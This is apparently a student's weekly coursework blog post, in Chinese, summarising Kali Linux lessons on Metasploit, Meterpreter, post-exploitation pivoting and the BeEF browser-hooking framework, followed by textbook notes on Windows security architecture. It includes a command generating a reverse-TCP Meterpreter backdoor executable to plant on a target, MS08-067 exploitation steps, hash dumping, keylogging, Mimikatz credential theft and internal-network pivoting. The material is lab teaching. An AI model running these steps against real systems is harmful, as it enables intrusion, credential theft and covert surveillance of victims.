一、Kali视频学习总结
(一)漏洞利用之检索与利用
1.searchsploit
可以借助关键词搜索漏洞信息以及漏洞对应的exp。例如,搜索wordpress:
文章图片
可以看出它列出了所有的漏洞及对应的文件地址,如打开/usr/share/exploitdb/exploits/php/webapps中的9890.txt文件:
文章图片
2.ikat
自动化开启不同的exp,等待目标访问中招。
文章图片
3.termineter
旨在评估智能电表的安全性。
文章图片
(二)漏洞利用之Metasploit基础 Metasploit在渗透测试中经常被用到。这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。
1.启动服务
在Kali中使用Metasploit,需要先开启PostgreSQL数据库服务和Metasploit服务,然后就可以完整地利用msf数据库查询exploit和记录。使用命令如下:
$ service postgresql start/* 启动数据库 */
$ service metasploit start/* 启动metasploit */
如果不想每次开机都手工启动服务,可以配置随系统启动。
$ update-rc.d postgresql enable
$ update-rc.d metasploit enable
2.路径介绍
【操作系统|20189320《网络攻防》第七周作业】Kali中msf的路径为/usr/share/metasploit-framework。可以在文件夹中进行浏览,如对其模块进行浏览:
文章图片
- auxiliary:辅助模块
- encoders:供msfencode编码工具使用,具体可以使用 msfencode –l。
- exploits:攻击模块,每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
- payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
- post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里。
msfpayload
:用来生成payload或者shellcode。 搜索可以用msfpayload -l |grep "Windows"
命令进行查询; -o选项可以列出payload所需的参数。msfencode
:msf中的编码器,早期用来绕过AV(杀毒软件),现在常用msfpayload与它编码避免exploit的坏字符串。msfconsole
:开启metasploit的console。4.测试示例:发现漏洞,搜索exploit
例如,对Linux靶机进行扫描:
文章图片
可以看到21端口开放的是ftp服务,用的版本是ProFTPD 1.3.1。使用
msfconsole
命令打开msf,使用search
命令搜索proftpd查看是否存在相应的漏洞利用exploit。文章图片
未发现匹配项。
5.测试示例:选择exploit,查看参数
这里以MS08-067漏洞为例。通过
show options
命令可以查看当前的参数列表及其默认设置。文章图片
文章图片
6.测试示例:选择payload
输入命令:
set payload generic/shell_reverse_tcp
,选择该渗透攻击模块适用的攻击负载模块。文章图片
7.执行攻击
输入
exploit
命令即可进行攻击测试,如果成功,将返回一个shell:文章图片
此时可查看用户id,ip地址,还可以打开查看一些文件信息等,可获取目标主机的权限。
文章图片
(三)漏洞利用之Meterpreter介绍 Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。
Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大地丰富了攻击方式。其中有很多有用的功能,如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。常用的命令:
文章图片
针对Windows操作系统,反向连接shell,使用起来比较稳定。
1.生成Meterpreter后门
$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.43.132 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe
/* 查看自己的IP地址为192.168.43.132,LHOST、LPORT为reverse_tcp的参数,可以在msf里查看到(记得把服务启动)*/
文章图片
文章图片
文章图片
此时执行上述生成后门的命令,就会在root文件夹里生成door.exe文件。然后将后门植入到目标主机上,即将door.exe文件粘贴到目标主机中,执行exe文件就会触发后门。
2.打开msf,开启监听
选择
exploit/multi/handler
。3.在目标主机上执行door.exe
本地得到Meterpreter返回的shell。
4.通过help命令查看可执行的命令
5.常见命令使用
(1)
sysinfo
:查看系统信息。(2)
screenshot
:抓取屏幕截图。(3)
hashdump
:抓取哈希。6.键盘监听
keyscan
:键盘记录。(开始:keyscan_start;结束:keyscan_stop;查询键盘是否输入内容:keyscan_dump)7.扩展工具
Meterpreter中不仅有基本命令还有很多扩展库,输入load/use之后再输入help,就可以看到关于这个模块的说明。如常用的Mimikatz可以用来抓取系统的明文。
(四)漏洞利用之Metasploit后渗透测试 在跳板机获取一定权限后,需要积极地向内网主机权限发展,获取指定的目标信息,探查系统的漏洞,借助msf已经得到的Meterpreter后门,可以使系列的操作更容易。
1.查看当前网卡、网段信息
使用
ifconfig
命令查看跳板机的当前网卡、网段信息。可查看到三个网卡,一个是本地网卡,一个是我们能访问的网卡,还有一个是具有内网IP的网卡(我们无法访问,可以ping一下试试)。
2.添加路由表
为了连接内网需要添加路由表,使用命令:
run autoroute -s 10.0.0.1
在添加路由表和session的关系后,便可以使用msf中的模块跨网段扫描或攻击。方法有很多,可以通过脚本autoroute快速添加路由表,也可以将当前session置于后台(background),然后用route命令添加。
3.开socket代理
通过使用auxiliary/server/socks4a模块,创建一个Socks代理,可以为浏览器、Sqlmap、Nmap等使用。通过代理,此时主机已经可以访问内网计算机。
4.通过
background
和sessions -i
可以自由切换进入Session5.输入
run
可以看到在meterpreter上可以做的很多命令6.通过
run post/
可以看到后渗透测试模块7.获取内网信息:
run arp_scanner -r 10.0.0.1/24
8.也可以上传文件,做端口转发后进行后续测试,例如,
upload lcx.exe c:\\
传送文件到C盘根目录(五)漏洞利用之BeEF 对XSS漏洞往往需要一个强大的框架支持,如网络上的XSS平台。在Kali下,Beef是一款丝毫不逊于XSS平台的工具。Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具。
1.在命令行下启动Beef
使用命令:
beef-xss
此时浏览器自动访问如下图所示的页面,使用默认用户名beef与默认密码beef登录。
文章图片
2.假设被测试主机由于XSS漏洞请求到http://127.0.0.1:3000/demos/basic.html
文章图片
此时页面左侧就会多出一项在线主机:
文章图片
3.HOOK持续的时间为关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在Commands模块,我们可以完成很多任务。
其中,4种颜色分别表示:
- 该攻击模块可用,且隐蔽性强(绿)。
- 该攻击模块可用,但隐蔽性差(灰)。
- 该用户模块是否可用还有待验证(橙)。
- 该攻击模块不可用(红)。
文章图片
4.例如,选取MISC下的Raw JavaScript模块作为测试用例,右端表格有该模块的详细说明,以及一些可选的参数等。输入JavaScript code,点击Excute进行攻击:
文章图片
文章图片
文章图片
5.Proxy功能(代理功能)
选中目标主机,点右键,在菜单中选中Use as Proxy;然后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。
文章图片
文章图片
查看返回包的细节:
文章图片
6.Beef默认是不加载Metasploit的,如果要使用Metasploit丰富的攻击模块,需要做些配置。
默认:Metasploit模块默认为空,需要进行如下配置:
(1)首先打开beef xss目录,修改/usr/share/beef-xss/config.yaml中的metasploit一行为true。
文章图片
文章图片
(2)保证此处IP等信息设置正确(不使用127.0.0.1,需使用本机IP),并修改Custom路径:
文章图片
文章图片
文章图片
(3)配置好后打开msfconsole,运行命令:load msgrpc ServerHost=192.168.43.132 Pass=abc123
文章图片
(4)执行./beef -x
命令
文章图片
(5)重启Beef发现已经加载了Metasploit的攻击模块
重启命令:service beef-xss restart
二、教材学习总结 (一)Windows操作系统基本框架1.Windows操作系统的基本结构
Windows操作系统的基本结构分为运行于处理器特权模式(ring 0)的操作系统内核,以及运行在处理器非特权模式(ring 3)的用户空间代码,即为内核态和用户态。其中内核态包括windows执行体、windows内核体、设备驱动程序、硬件抽象层、windows窗口与图形界面接口;用户态包括系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。
2.Windows操作系统内核的基本模块
Windows操作系统内核的基本模块包括:
(1)Windows执行体
(2)Windows内核体
(3)设备驱动程序
(4)硬件抽象层
(5)Windows窗口与图形界面接口内核实现代码
(6)系统支持进程
(7)环境子系统服务进程
(8)服务进程
(9)用户应用软件
(10)核心子系统DLL
3.Windows操作系统内核实现的核心机制
Windows操作系统内核实现的核心机制包括:
(1)Windows进程和线程管理机制
(2)Windows内存管理机制
(3)Windows文件管理机制
(4)Windows注册表管理机制
(5)Windows的网络机制
4.Windows的网络机制
Windows网络组件模块包括:
(1)各种网卡硬件的设备驱动程序
(2)NDIS库及miniport驱动程序
(3)TDI传输层,也称为网络协议驱动
(4)网络API DLL及TDI客户端
(5)网络应用程序与服务进程
在32位的Windows系统中,2GB~4GB区间为系统核心内存,0GB~2GB区间为用户态内存。Windows的文件管理系统早期是FAT,由于安全性弱,被NTFS所取代。注册表中的系统自启动挂接点(ASEP)上注册的应用软件可以随系统引导而自动运行,因此也是很多恶意代码及流氓软件普遍的攻击目标。
(二)Windows操作系统的安全体系结构与机制1.Windows安全体系结构
Windows操作系统的安全设计目标是采用一致的、健壮的、基于对象的安全模型。Windows操作系统是基于引用监控器模型(RM)来实现基本的对象安全模型。引用监控器模型(RM)最为核心的是位于内核中的SRM安全引用监控器,以及位于用户态的LSASS安全服务。
2.Windows身份认证机制
(1)安全主体:用户、用户组、计算机。
(2)身份认证分类
身份认证分为本地身份认证(winlogon进程、GINA图形化登录窗口与LSASS服务)、网络身份认证(NTLM、Lanman、kerberos)。
3.Windows授权与访问控制机制
Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施。
Windows对于系统中所有需保护的资源都抽象成对象,具体类型包括文件、目录、注册表键值、内核对象、同步对象、私有对象、管道、内存、通信接口等。对象安全描述符的主要属性包括:
(1)Owner SID
(2)Group SID
(3)DACL自动访问控制列表
(4)SACL系统审计访问控制列表
4.Windows安全审计机制
(1)LSASS服务保存审计策略,并在对象启动审计功能后,在SACL列表中进行保存。
(2)SRM安全引用监控器在对象安全描述符中的SACL列表配置,也将依据对象的SACL列表配置,对指定的对象访问和操作事件进行审计记录,发送给LSASS服务。
(3)由LSASS服务补充审计记录细节信息后,再将这些审计记录发送给EventLog事件日志服务。
(4)EventLog服务最后将事件日志写入日志文件中,并通过事件查看器工具展示给系统管理员,也可以作为第三方审计日志分析工具的分析输入数据源。
5.Windows的其他安全机制
(1)Windows基本安全功能特性:身份认证、授权与访问控制、安全审计。
(2)Windows安全中心集成了对于保护Windows系统安全稳定运行最为关键的三项安全措施:防火墙、补丁自动更新、病毒防护。
(三)Windows远程安全攻防技术1.分类
Windows远程安全攻防技术可以分为:
(1)远程口令猜测与破解攻击
(2)攻击Windows网络服务
(3)攻击Windows客户端及用户
2.Windows系统的安全漏洞生命周期
(1)系统安全的本质核心在于安全漏洞、渗透攻击及安全监测防御机制之间的攻防博弈与竞赛。
(2)典型的渗透攻击过程包括:漏洞扫描、查找针对发现漏洞的渗透代码和实施渗透测试。
3.Windows远程口令猜测与破解攻击
(1)SMB协议通常运行于TCP445与TCP139端口。
(2)远程口令字攻击的方法:远程口令字猜测、窃听网络上的口令字交换通信实施破解。
(3)远程口令猜测与破解最根本的防御措施是:通过安全培训与教育来让网络中每个用户都能够设置较高安全强度的口令。
4.Windows网络服务远程渗透攻击
(1)Windows操作系统默认开放135(TCP)、137(UDP)、138(UDP)、139(TCP)与445(TCP)端口,对应的网络服务为MSRPC远程调用服务、NetBIOS网络基本输入/输出系统服务和SMB文件与打印共享服务。
(2)网络服务远程渗透攻击包括:针对NETBIOS服务的著名漏洞和攻击、针对SMB服务的著名漏洞和攻击、针对MSRPC服务的著名漏洞和攻击、针对windows系统上微软网络的远程渗透攻击和针对Windows系统上第三方服务的远程渗透攻击。
(3)防范措施:最基本的是尽量避免与消除这些渗透攻击所依赖的服务软件安全漏洞。
(四)Windows本地安全攻防技术1.Windows本地特权提升
Windows本地提权攻击:利用操作系统内核、特权用户启动程序中安全缺陷与漏洞,原因是服务器和桌面系统没有即时进行补丁更新。
2.Windows敏感信息窃取
(1)Windows敏感信息窃取包括:Windows系统口令字密文提取技术、Windows系统口令字破解技术、用户敏感数据窃取。
(2)本地敏感信息窃取防范措施:选择高强度、高防御的口令,使用更安全的加密明文算法,安全配置策略。
3.Windows消踪灭迹
(1)消踪灭迹包括:关闭审计功能、清理事件日志。
(2)针对消踪灭迹的防范措施:事先设置系统审计和网络服务审计,日志记录在不可擦除的CDROM上。
推荐阅读
- 操作系统|2018-2019-2 20189221 《网络攻防技术》第七周作业
- 5个最佳的框架无关JavaScript滑块库
- 5个JavaScript和jQuery的最佳拖放表单构建器插件
- 7个最佳表格排序器JavaScript和jQuery插件
- 5个最好的网格布局设计器jQuery和JavaScript插件
- 5个最佳JavaScript动画信用卡表单(拟形)插件
- 7个最佳开源JavaScript和jQuery File Upload插件
- 15个最佳jQuery,JavaScript,CSS复选框和单选按钮替换插件
- 7个最好的jQuery和JavaScript星级评分插件